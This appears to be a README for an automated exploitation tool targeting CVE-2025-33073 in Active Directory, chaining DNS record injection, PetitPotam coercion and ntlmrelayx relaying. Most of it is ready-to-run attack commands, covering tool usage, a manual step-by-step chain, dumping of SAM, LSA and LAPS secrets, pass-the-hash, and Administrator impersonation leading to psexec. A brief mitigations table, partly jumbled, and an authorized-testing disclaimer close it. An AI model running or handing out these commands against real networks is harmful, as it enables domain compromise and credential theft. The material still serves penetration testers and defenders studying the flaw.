
cupntlm
CVE-2025-33073 — NTLM Reflection Bypass via DNS Coercion
Automated exploitation tool for Active Directory environments.
cupntlm automates the NTLM reflection/relay attack chain that abuses CVE-2025-33073. It combines DNS record injection, forced authentication coercion (PetitPotam), and NTLM relay into a single workflow. The tool supports two operational modes depending on scope and stealth requirements.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Prerequisites on the target network:
| Library | Install |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Checks SMB signing status on targets and validates domain credentials before attempting anything.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Creates a unique DNS record for each target, triggers coercion one by one, and cleans up records between iterations. Slower but more precise and leaves less noise.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Injects a single DNS record and keeps ntlmrelayx running continuously while iterating through all targets. Faster for large scopes.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
The following steps reproduce the full attack chain manually without using cupntlm.py. Useful for understanding the primitives, debugging, or adapting to non-standard environments.
Identify hosts where SMB signing is disabled. These are your valid relay targets.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Or with nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Look for:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
Use dnstool.py to add an A record in the domain's DNS that points a hostname to your machine. When a target resolves this hostname and authenticates, the request lands on your relay listener.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
Verify the record was added:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Start ntlmrelayx.py before triggering coercion. It will sit and wait for incoming authentication.
Relay to SMB — dump SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Relay to LDAP — create a new machine account (for RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Relay to LDAPS — dump domain secrets:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Trigger the target machine to authenticate outbound to your injected DNS record. PetitPotam abuses the MS-EFSRPC interface — no credentials required on unpatched hosts, or use valid creds for patched ones.
Unauthenticated (unpatched target):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
Authenticated (patched target, valid creds required):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
At this point, the coerced host sends its NTLM authentication to your machine → ntlmrelayx catches and relays it.
Depending on the relay target you chose in Step 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py for a service ticketAlways remove injected DNS records after the engagement.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash with a relayed machine account:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Get a service ticket for S4U2Self (after RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Control | Effect |
|---|---|
| Enable SMB signing (required) on all hosts |
This tool is intended for authorized penetration testing and security research only.
Do not use against systems you do not have explicit written permission to test.
| Tool | Purpose |
|---|
python3 | Runtime |
pip3 | Python package manager |
git | Cloning dependencies |
wget | Downloading files |
nmap | SMB signing enumeration |
netexec / crackmapexec | SMB signing check (optional) |
| Breaks relay to SMB |
| Enable LDAP signing + channel binding | Breaks relay to LDAP/LDAPS |
| Patch MS-EFSRPC (KB5005413) | Blocks unauthenticated PetitPotam |
| Restrict DNS record creation to admins | Blocks DNS injection step |
| Disable NTLM network authentication (prefer Kerberos) | Eliminates the entire class |